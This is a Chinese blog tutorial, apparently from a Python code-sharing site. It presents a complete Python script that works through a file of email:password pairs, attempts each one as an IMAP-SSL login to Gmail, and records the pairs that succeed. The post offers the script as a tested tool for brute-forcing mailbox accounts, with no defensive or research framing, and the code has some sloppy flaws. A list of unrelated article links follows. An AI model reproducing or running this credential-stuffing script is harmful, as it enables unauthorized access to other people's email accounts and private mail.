Python实现在线暴力破解邮箱账号密码功能示例【测试可用】


Posted in Python onSeptember 06, 2017

本文实例讲述了Python实现在线暴力破解邮箱账号密码功能。分享给大家供大家参考,具体如下:

dic 字典格式如下(mail.txt) :

username@gmail.com:password
username@gmail.com:password
username@gmail.com:password

以此类推,切记保存成utf-8编码格式。

放置在当前脚本目录,也可自己定义修改。

支持ssl https /imap协议。

# version 3.4.0
# coding='UTF-8'
# time='2014-09-16'
import _dummy_thread
import imaplib
import threading
# global variant
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = []
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com'
GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143
GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993
GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock()
GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000
GMAIL_BYTES_READED_TOTAL_SIZE = 0
GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0
GLOBAL_READ_FINISH_STATUS_SUCCESS = False
# define global function
def Write_Save_Success_Gmail_Jobs(indexSuccess):
  Success_File = open('success.txt', 'a')
  Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess])
  Success_File.close()
def Write_Save_Fail_Gmail_Jobs(indexFail):
  Fail_File = open('fail.txt', 'a')
  Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail])
  Fail_File.close()
# define global function
def Get_Parser_Account_Pwd(Index):
 strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index]
 strUserName, strPassWord = strAccountPwd.split(':', 1)
 return strUserName, strPassWord
# define global function
def Veritifying_Gmail_Imap_Account_Pwd(IndexGmail):
 global GLOBAL_WORKING_THREAD_MUTEX_LOCK
 global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES
 if ((IndexGmail >= 0) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) == True:
  GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire()
  GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES += 1
  print('POSITION---------', GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES)
  print('IMAP INDEX-------', IndexGmail)
  print('IMAP USERNAME----', GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
  Write_Save_Fail_Gmail_Jobs(IndexGmail)
  # GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
  print(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
  GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT)
  GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143
  stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail)
  try:
   ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord)
  except GmailImap4.error :
   print('Logical errors - debug required')
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
   return
  except GmailImap4.abort :
   print('Service errors - close and retry')
   GmailImap4.close()
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
   return
  except GmailImap4.readonly:
   print('Mailbox status changed to read only')
   GmailImap4.close()
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
   return
  if (ResponseStatus[0] == 'OK'):
   print('LOGIN SUCCESS')
   Write_Save_Success_Gmail_Jobs(IndexGmail)
   GmailImap4.logout()
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
  else:
   GmailImap4.close()
   print('LOGIN FAIL')
   print(ResponseStatus)
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
 else:
  return
# define global function
class Working_Zone_Thread(threading.Thread):
 m_IndexStart = 0
 m_IndexEnd = 0
 def __init__(self, numEnd):
  self.m_IndexEnd = numEnd
  threading.Thread.__init__(self)
 def run(self): # run process
  while True:
   if self.m_IndexStart < self.m_IndexEnd:
    Veritifying_Gmail_Imap_Account_Pwd(self.m_IndexStart)
    self.m_IndexStart = self.m_IndexStart + 1
   else:
    break
 def _delete(self):
  threading.Thread._delete(self)
  print('thread delete is : ', self.getName())
# define read function
def Read_Send_Single_Func():
 IndexStart = 0
 print('--------read----star--')
 global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM
 global GMAIL_BYTES_READED_TOTAL_SIZE
 global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY
 File_Read = open('mail.txt', 'r', encoding='UTF-8')
 File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0) # seek
 while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES:
  line = File_Read.readline()
  if line:
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line)
   CbBytes = line.__len__()
   GMAIL_BYTES_READED_TOTAL_SIZE += CbBytes
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM += 1
   IndexStart = IndexStart + 1
  else:
   GLOBAL_READ_FINISH_STATUS_SUCCESS = True
   break
 print('gmail read num ', IndexStart)
 File_Read.close()
 print('---------read----end--')
# main entry
if __name__ == '__main__':
 print('Main Thread Start : ')
 while True:
  if GLOBAL_READ_FINISH_STATUS_SUCCESS != True:
   Read_Send_Single_Func()
   wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)
   wzt.start()
   wzt.join()
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear()
  else:
   print('data has run out : ')
   break
 print('Main Thread End : ')

更多关于Python相关内容可查看本站专题:《Python Socket编程技巧总结》、《Python数据结构与算法教程》、《Python函数使用技巧总结》、《Python字符串操作技巧汇总》、《Python入门与进阶经典教程》及《Python文件与目录操作技巧汇总》

希望本文所述对大家Python程序设计有所帮助。

Python 相关文章推荐
Python编程中使用Pillow来处理图像的基础教程
Nov 20 Python
python模拟事件触发机制详解
Jan 19 Python
python遍历文件夹,指定遍历深度与忽略目录的方法
Jul 11 Python
python爬虫之urllib库常用方法用法总结大全
Nov 14 Python
Python小游戏之300行代码实现俄罗斯方块
Jan 04 Python
使用pytorch实现可视化中间层的结果
Dec 30 Python
python中 _、__、__xx__()区别及使用场景
Jun 30 Python
基于Python实现2种反转链表方法代码实例
Jul 06 Python
python使用建议与技巧分享(一)
Aug 17 Python
Python创建简单的神经网络实例讲解
Jan 04 Python
python如何将mat文件转为png
Jul 15 Python
Pygame游戏开发之太空射击实战敌人精灵篇
Aug 05 Python
Python基于回溯法子集树模板解决旅行商问题(TSP)实例
Sep 05 #Python
Python基于回溯法子集树模板实现图的遍历功能示例
Sep 05 #Python
Python数据结构与算法之图结构(Graph)实例分析
Sep 05 #Python
利用Python将时间或时间间隔转为ISO 8601格式方法示例
Sep 05 #Python
python进程管理工具supervisor的安装与使用教程
Sep 05 #Python
基于Django模板中的数字自增(详解)
Sep 05 #Python
用python结合jieba和wordcloud实现词云效果
Sep 05 #Python
You might like
php变量范围介绍
2012/10/15 PHP
php ucwords() 函数将字符串中每个单词的首字符转换为大写(实现代码)
2016/05/12 PHP
PHP导出带样式的Excel示例代码
2016/08/28 PHP
fromCharCode和charCodeAt 方法
2006/12/27 Javascript
javascript实现的网页局布刷新效果
2008/12/01 Javascript
JavaScript 精粹读书笔记(1,2)
2010/02/07 Javascript
jquery 图片 上一张 下一张 链接效果(续篇)
2010/04/20 Javascript
基于jQuery的360图片展示实现代码
2012/06/14 Javascript
Javascript中document.referrer隐藏来源的方法
2017/01/16 Javascript
nodejs根据ip数组在百度地图中进行定位
2017/03/06 NodeJs
discuz表情的JS提取方法分析
2017/03/22 Javascript
JS简单实现自定义右键菜单实例
2017/05/31 Javascript
JS库之wow.js使用方法
2017/09/14 Javascript
Scala解析Json字符串的实例详解
2017/10/11 Javascript
深入浅析JS中的严格模式
2018/06/04 Javascript
微信小程序云开发之使用云存储
2019/05/17 Javascript
Promise扫盲贴
2019/06/24 Javascript
jquery.pager.js分页实现详解
2019/07/29 jQuery
Python 遍历列表里面序号和值的方法(三种)
2017/02/17 Python
Python实现判断字符串中包含某个字符的判断函数示例
2018/01/08 Python
解决Pyinstaller 打包exe文件 取消dos窗口(黑框框)的问题
2019/06/21 Python
Django model update的多种用法介绍
2020/03/28 Python
Django中template for如何使用方法
2021/01/31 Python
CSS3制作日历实现代码
2012/01/21 HTML / CSS
html5文字阴影效果text-shadow使用示例
2013/07/25 HTML / CSS
美国床垫和床上用品公司:Nest Bedding
2017/06/12 全球购物
新西兰床上用品和家居用品购物网站:Adairs
2018/04/27 全球购物
英国手机壳购买网站:Case Hut
2019/04/11 全球购物
办公室文秘自我鉴定
2013/09/21 职场文书
店长职务说明书
2014/02/04 职场文书
航空学院求职信
2014/06/11 职场文书
自愿解除劳动合同协议书
2014/09/11 职场文书
六一儿童节标语
2014/10/08 职场文书
2014年度个人工作总结
2014/11/07 职场文书
《作风建设永远在路上》心得体会
2016/01/21 职场文书
nginx容器方式反向代理实战
2022/04/18 Servers